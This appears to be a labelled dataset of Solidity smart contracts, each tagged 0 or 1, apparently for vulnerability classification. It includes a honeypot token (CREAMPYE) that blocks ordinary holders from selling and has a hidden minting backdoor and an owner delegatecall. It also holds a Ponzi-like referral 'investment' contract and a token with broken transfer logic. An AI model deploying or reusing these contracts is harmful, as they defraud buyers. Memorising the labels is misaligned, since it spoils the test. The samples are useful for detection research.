allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract VizaCoin is StandardToken { string public name = "Viza Coin"; string public symbol = "VIZ"; uint8 public decimals = 8; uint256 public INITIAL_SUPPLY = 21000000 * (10 ** uint256(decimals)); function VizaCoin() public { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } }
1
3,030
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract CREAMPYE { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1132167815322823072539476364451924570945755492656)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,205
pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } } library SDDatasets { struct Player { address addr; uint256 aff; uint256 laff; uint256 planCount; mapping(uint256=>PalyerPlan) plans; uint256 aff1sum; uint256 aff2sum; uint256 aff3sum; uint256 aff4sum; } struct PalyerPlan { uint256 planId; uint256 startTime; uint256 startBlock; uint256 invested; uint256 atBlock; uint256 payEth; bool isClose; } struct Plan { uint256 interest; uint256 dayRange; uint256 min; uint256 max; } } contract SafeDif { using SafeMath for *; address public devAddr_ = address(0xe6CE2a354a0BF26B5b383015B7E61701F6adb39C); address public affiAddr_ = address(0x08F521636a2B117B554d04dc9E54fa4061161859); address public partnerAddr_ = address(0xa8502800F27F5c13F0701450fE07550Cf81C62a7); bool public activated_ = false; uint256 ruleSum_ = 5; modifier isActivated() { require(activated_ == true, "its not active yet."); _; } function version1Invest(address addr, uint256 eth, uint256 _affCode, uint256 _planId) isAdmin() public { require(activated_ == false, "Only not active"); require(_planId >= 1 && _planId <= ruleSum_, "_planId error"); uint256 uid = pIDxAddr_[addr]; if (uid == 0) { if (player_[_affCode].addr != address(0x0)) { register_(addr, _affCode); } else { register_(addr, 1000); } uid = G_NowUserId; } uint256 planCount = player_[uid].planCount; player_[uid].plans[planCount].planId = _planId; player_[uid].plans[planCount].startTime = now; player_[uid].plans[planCount].startBlock = block.number; player_[uid].plans[planCount].atBlock = block.number; player_[uid].plans[planCount].invested = eth; player_[uid].plans[planCount].payEth = 0; player_[uid].plans[planCount].isClose = false; player_[uid].planCount = player_[uid].planCount.add(1); G_AllEth = G_AllEth.add(eth); } function activate() isAdmin() public { require(address(devAddr_) != address(0x0), "Must setup devAddr_."); require(address(partnerAddr_) != address(0x0), "Must setup partnerAddr_."); require(address(affiAddr_) != address(0x0), "Must setup affiAddr_."); require(activated_ == false, "Only once"); activated_ = true ; } mapping(address => uint256) private g_users ; function initUsers() private { g_users[msg.sender] = 9 ; uint256 pId = G_NowUserId; pIDxAddr_[msg.sender] = pId; player_[pId].addr = msg.sender; } modifier isAdmin() { uint256 role = g_users[msg.sender]; require((role==9), "Must be admin."); _; } uint256 public G_NowUserId = 1000; uint256 public G_AllEth = 0; uint256 G_DayBlocks = 5900; mapping (address => uint256) public pIDxAddr_; mapping (uint256 => SDDatasets.Player) public player_; mapping (uint256 => SDDatasets.Plan) private plan_; function GetIdByAddr(address addr) public view returns(uint256) { return pIDxAddr_[addr]; } function GetPlayerByUid(uint256 uid) public view returns(uint256,uint256,uint256,uint256,uint256,uint256,uint256) { SDDatasets.Player storage player = player_[uid]; return ( player.aff, player.laff, player.aff1sum, player.aff2sum, player.aff3sum, player.aff4sum, player.planCount ); } function GetPlanByUid(uint256 uid) public view returns(uint256[],uint256[],uint256[],uint256[],uint256[],bool[]) { uint256[] memory planIds = new uint256[] (player_[uid].planCount); uint256[] memory startBlocks = new uint256[] (player_[uid].planCount); uint256[] memory investeds = new uint256[] (player_[uid].planCount); uint256[] memory atBlocks = new uint256[] (player_[uid].planCount); uint256[] memory payEths = new uint256[] (player_[uid].planCount); bool[] memory isCloses = new bool[] (player_[uid].planCount); for(uint i = 0; i < player_[uid].planCount; i++) { planIds[i] = player_[uid].plans[i].planId; startBlocks[i] = player_[uid].plans[i].startBlock; investeds[i] = player_[uid].plans[i].invested; atBlocks[i] = player_[uid].plans[i].atBlock; payEths[i] = player_[uid].plans[i].payEth; isCloses[i] = player_[uid].plans[i].isClose; } return ( planIds, startBlocks, investeds, atBlocks, payEths, isCloses ); } function GetPlanTimeByUid(uint256 uid) public view returns(uint256[]) { uint256[] memory startTimes = new uint256[] (player_[uid].planCount); for(uint i = 0; i < player_[uid].planCount; i++) { startTimes[i] = player_[uid].plans[i].startTime; } return ( startTimes ); } constructor() public { plan_[1] = SDDatasets.Plan(240,60,1e16, 5e20); plan_[2] = SDDatasets.Plan(350,40,1e18, 1e21); plan_[3] = SDDatasets.Plan(470,35,1e19, 1e22); plan_[4] = SDDatasets.Plan(100,0,1e16, 1e22); plan_[5] = SDDatasets.Plan(900,12,1e18, 1e22); initUsers(); } function register_(address addr, uint256 _affCode) private{ G_NowUserId = G_NowUserId.add(1); address _addr = addr; pIDxAddr_[_addr] = G_NowUserId; player_[G_NowUserId].addr = _addr; player_[G_NowUserId].laff = _affCode; player_[G_NowUserId].planCount = 0; uint256 _affID1 = _affCode; uint256 _affID2 = player_[_affID1].laff; uint256 _affID3 = player_[_affID2].laff; uint256 _affID4 = player_[_affID3].laff; player_[_affID1].aff1sum = player_[_affID1].aff1sum.add(1); player_[_affID2].aff2sum = player_[_affID2].aff2sum.add(1); player_[_affID3].aff3sum = player_[_affID3].aff3sum.add(1); player_[_affID4].aff4sum = player_[_affID4].aff4sum.add(1); } function () isActivated() external payable { if (msg.value == 0) { withdraw(); } else { invest(1000, 1); } } function invest(uint256 _affCode, uint256 _planId) isActivated() public payable { require(_planId >= 1 && _planId <= ruleSum_, "_planId error"); uint256 uid = pIDxAddr_[msg.sender]; if (uid == 0) { if (player_[_affCode].addr != address(0x0)) { register_(msg.sender, _affCode); } else { register_(msg.sender, 1000); } uid = G_NowUserId; } require(msg.value >= plan_[_planId].min && msg.value <= plan_[_planId].max, "invest amount error, please set the exact amount"); uint256 planCount = player_[uid].planCount; player_[uid].plans[planCount].planId = _planId; player_[uid].plans[planCount].startTime = now; player_[uid].plans[planCount].startBlock = block.number; player_[uid].plans[planCount].atBlock = block.number; player_[uid].plans[planCount].invested = msg.value; player_[uid].plans[planCount].payEth = 0; player_[uid].plans[planCount].isClose = false; player_[uid].planCount = player_[uid].planCount.add(1); G_AllEth = G_AllEth.add(msg.value); if (msg.value > 1000000000) { distributeRef(msg.value, player_[uid].laff); uint256 devFee = (msg.value.mul(2)).div(100); devAddr_.transfer(devFee); uint256 partnerFee = (msg.value.mul(2)).div(100); partnerAddr_.transfer(partnerFee); } } function withdraw() isActivated() public payable { require(msg.value == 0, "withdraw fee is 0 ether, please set the exact amount"); uint256 uid = pIDxAddr_[msg.sender]; require(uid != 0, "no invest"); for(uint i = 0; i < player_[uid].planCount; i++) { if (player_[uid].plans[i].isClose) { continue; } SDDatasets.Plan plan = plan_[player_[uid].plans[i].planId]; uint256 blockNumber = block.number; bool bClose = false; if (plan.dayRange > 0) { uint256 endBlockNumber = player_[uid].plans[i].startBlock.add(plan.dayRange*G_DayBlocks); if (blockNumber > endBlockNumber){ blockNumber = endBlockNumber; bClose = true; } } uint256 amount = player_[uid].plans[i].invested * plan.interest / 10000 * (blockNumber - player_[uid].plans[i].atBlock) / G_DayBlocks; address sender = msg.sender; sender.send(amount); player_[uid].plans[i].atBlock = block.number; player_[uid].plans[i].isClose = bClose; player_[uid].plans[i].payEth += amount; } } function distributeRef(uint256 _eth, uint256 _affID) private{ uint256 _allaff = (_eth.mul(8)).div(100); uint256 _affID1 = _affID; uint256 _affID2 = player_[_affID1].laff; uint256 _affID3 = player_[_affID2].laff; uint256 _aff = 0; if (_affID1 != 0) { _aff = (_eth.mul(5)).div(100); _allaff = _allaff.sub(_aff); player_[_affID1].aff = _aff.add(player_[_affID1].aff); player_[_affID1].addr.transfer(_aff); } if (_affID2 != 0) { _aff = (_eth.mul(2)).div(100); _allaff = _allaff.sub(_aff); player_[_affID2].aff = _aff.add(player_[_affID2].aff); player_[_affID2].addr.transfer(_aff); } if (_affID3 != 0) { _aff = (_eth.mul(1)).div(100); _allaff = _allaff.sub(_aff); player_[_affID3].aff = _aff.add(player_[_affID3].aff); player_[_affID3].addr.transfer(_aff); } if(_allaff > 0 ){ affiAddr_.transfer(_allaff); } } }
0
1,645
pragma solidity ^0.4.24; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string name, string symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string) { return _name; } function symbol() public view returns(string) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance( address owner, address spender ) public view returns (uint256) { return _allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom( address from, address to, uint256 value ) public returns (bool) { require(value <= _allowed[from][msg.sender]); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); return true; } function increaseAllowance( address spender, uint256 addedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function decreaseAllowance( address spender, uint256 subtractedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _transfer(address from, address to, uint256 value) internal { require(value <= _balances[from]); require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } function _mint(address account, uint256 value) internal { require(account != 0); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } function _burn(address account, uint256 value) internal { require(account != 0); require(value <= _balances[account]); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _burnFrom(address account, uint256 value) internal { require(value <= _allowed[account][msg.sender]); _allowed[account][msg.sender] = _allowed[account][msg.sender].sub( value); _burn(account, value); } } library Roles { struct Role { mapping (address => bool) bearer; } function add(Role storage role, address account) internal { require(account != address(0)); require(!has(role, account)); role.bearer[account] = true; } function remove(Role storage role, address account) internal { require(account != address(0)); require(has(role, account)); role.bearer[account] = false; } function has(Role storage role, address account) internal view returns (bool) { require(account != address(0)); return role.bearer[account]; } } contract MinterRole { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private minters; constructor() internal { _addMinter(msg.sender); } modifier onlyMinter() { require(isMinter(msg.sender)); _; } function isMinter(address account) public view returns (bool) { return minters.has(account); } function addMinter(address account) public onlyMinter { _addMinter(account); } function renounceMinter() public { _removeMinter(msg.sender); } function _addMinter(address account) internal { minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { minters.remove(account); emit MinterRemoved(account); } } contract ERC20Mintable is ERC20, MinterRole { function mint( address to, uint256 value ) public onlyMinter returns (bool) { _mint(to, value); return true; } } contract ERC20Burnable is ERC20 { function burn(uint256 value) public { _burn(msg.sender, value); } function burnFrom(address from, uint256 value) public { _burnFrom(from, value); } } contract Ownable { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns(address) { return _owner; } modifier onlyOwner() { require(isOwner()); _; } function isOwner() public view returns(bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ERC223ReceivingContract { function tokenFallback(address _from, uint _value, bytes _data) public; } contract Carati is ERC20Detailed, ERC20Mintable, ERC20Burnable, Ownable { constructor (string _name, string _symbol, uint8 _decimals) public ERC20Detailed(_name, _symbol, _decimals) {} mapping (address => uint256) public balances; function transfer(address _to, uint _value, bytes _data) public { uint codeLength; assembly { codeLength := extcodesize(_to) } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if(codeLength>0) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); } emit Transfer(msg.sender, _to, _value); } function transfer(address _to, uint _value) public returns (bool) { uint codeLength; bytes memory empty; assembly { codeLength := extcodesize(_to) } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if(codeLength>0) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, empty); } emit Transfer(msg.sender, _to, _value); } }
1
3,417
pragma solidity ^0.4.18; contract InterfaceContentCreatorUniverse { function ownerOf(uint256 _tokenId) public view returns (address _owner); function priceOf(uint256 _tokenId) public view returns (uint256 price); function getNextPrice(uint price, uint _tokenId) public pure returns (uint); function lastSubTokenBuyerOf(uint tokenId) public view returns(address); function lastSubTokenCreatorOf(uint tokenId) public view returns(address); function createCollectible(uint256 tokenId, uint256 _price, address creator, address owner) external ; } contract InterfaceYCC { function payForUpgrade(address user, uint price) external returns (bool success); function mintCoinsForOldCollectibles(address to, uint256 amount, address universeOwner) external returns (bool success); function tradePreToken(uint price, address buyer, address seller, uint burnPercent, address universeOwner) external; function payoutForMining(address user, uint amount) external; uint256 public totalSupply; } contract InterfaceMining { function createMineForToken(uint tokenId, uint level, uint xp, uint nextLevelBreak, uint blocknumber) external; function payoutMining(uint tokenId, address owner, address newOwner) external; function levelUpMining(uint tokenId) external; } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Owned { address public ceoAddress; address public cooAddress; address private newCeoAddress; address private newCooAddress; function Owned() public { ceoAddress = msg.sender; cooAddress = msg.sender; } modifier onlyCEO() { require(msg.sender == ceoAddress); _; } modifier onlyCOO() { require(msg.sender == cooAddress); _; } modifier onlyCLevel() { require( msg.sender == ceoAddress || msg.sender == cooAddress ); _; } function setCEO(address _newCEO) public onlyCEO { require(_newCEO != address(0)); newCeoAddress = _newCEO; } function setCOO(address _newCOO) public onlyCEO { require(_newCOO != address(0)); newCooAddress = _newCOO; } function acceptCeoOwnership() public { require(msg.sender == newCeoAddress); require(address(0) != newCeoAddress); ceoAddress = newCeoAddress; newCeoAddress = address(0); } function acceptCooOwnership() public { require(msg.sender == newCooAddress); require(address(0) != newCooAddress); cooAddress = newCooAddress; newCooAddress = address(0); } mapping (address => bool) public youCollectContracts; function addYouCollectContract(address contractAddress, bool active) public onlyCOO { youCollectContracts[contractAddress] = active; } modifier onlyYCC() { require(youCollectContracts[msg.sender]); _; } InterfaceYCC ycc; InterfaceContentCreatorUniverse yct; InterfaceMining ycm; function setMainYouCollectContractAddresses(address yccContract, address yctContract, address ycmContract, address[] otherContracts) public onlyCOO { ycc = InterfaceYCC(yccContract); yct = InterfaceContentCreatorUniverse(yctContract); ycm = InterfaceMining(ycmContract); youCollectContracts[yccContract] = true; youCollectContracts[yctContract] = true; youCollectContracts[ycmContract] = true; for (uint16 index = 0; index < otherContracts.length; index++) { youCollectContracts[otherContracts[index]] = true; } } function setYccContractAddress(address yccContract) public onlyCOO { ycc = InterfaceYCC(yccContract); youCollectContracts[yccContract] = true; } function setYctContractAddress(address yctContract) public onlyCOO { yct = InterfaceContentCreatorUniverse(yctContract); youCollectContracts[yctContract] = true; } function setYcmContractAddress(address ycmContract) public onlyCOO { ycm = InterfaceMining(ycmContract); youCollectContracts[ycmContract] = true; } } contract TransferInterfaceERC721YC { function transferToken(address to, uint256 tokenId) public returns (bool success); } contract TransferInterfaceERC20 { function transfer(address to, uint tokens) public returns (bool success); } contract YouCollectBase is Owned { using SafeMath for uint256; event RedButton(uint value, uint totalSupply); function payout(address _to) public onlyCLevel { _payout(_to, this.balance); } function payout(address _to, uint amount) public onlyCLevel { if (amount>this.balance) amount = this.balance; _payout(_to, amount); } function _payout(address _to, uint amount) private { if (_to == address(0)) { ceoAddress.transfer(amount); } else { _to.transfer(amount); } } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyCEO returns (bool success) { return TransferInterfaceERC20(tokenAddress).transfer(ceoAddress, tokens); } } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract YouCollectCoins is YouCollectBase { string public constant NAME = "YouCollectCoin"; string public constant SYMBOL = "YCC"; uint8 public constant DECIMALS = 18; uint256 public totalSupply; uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; bool allowTransfer; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); function YouCollectCoins() { addYouCollectContract(msg.sender, true); } function name() public pure returns (string) { return NAME; } function symbol() public pure returns (string) { return SYMBOL; } function decimals() public pure returns (uint8) { return DECIMALS; } function transfer(address _to, uint256 _value) public returns (bool success) { require(allowTransfer); require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(allowTransfer); uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value && allowance >= _value); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { require(allowTransfer); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { require(allowTransfer); allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } bool public coinSaleStarted; address public mintableAddress; uint public totalTokenSellAmount; function mintCoins(address to, uint256 amount) external returns (bool success) { require(coinSaleStarted); require(msg.sender == mintableAddress); require(balances[this] >= amount); balances[this] -= amount; balances[to] += amount; uint bonus = amount.div(100); address universeOwner = yct.ownerOf(0); balances[universeOwner] += bonus; totalSupply += bonus; Transfer(this, to, amount); Transfer(address(0), universeOwner, bonus); return true; } function startCoinSale(uint totalTokens, address sellingContractAddress) public onlyCEO { require(!coinSaleStarted); totalTokenSellAmount = totalTokens; mintableAddress = sellingContractAddress; } function acceptCoinSale() public onlyCEO { coinSaleStarted = true; balances[this] = totalTokenSellAmount; totalSupply += totalTokenSellAmount; } function changeTransfer(bool allowTransfers) external { require(msg.sender == mintableAddress); allowTransfer = allowTransfers; } function mintCoinsForOldCollectibles(address to, uint256 amount, address universeOwner) external onlyYCC returns (bool success) 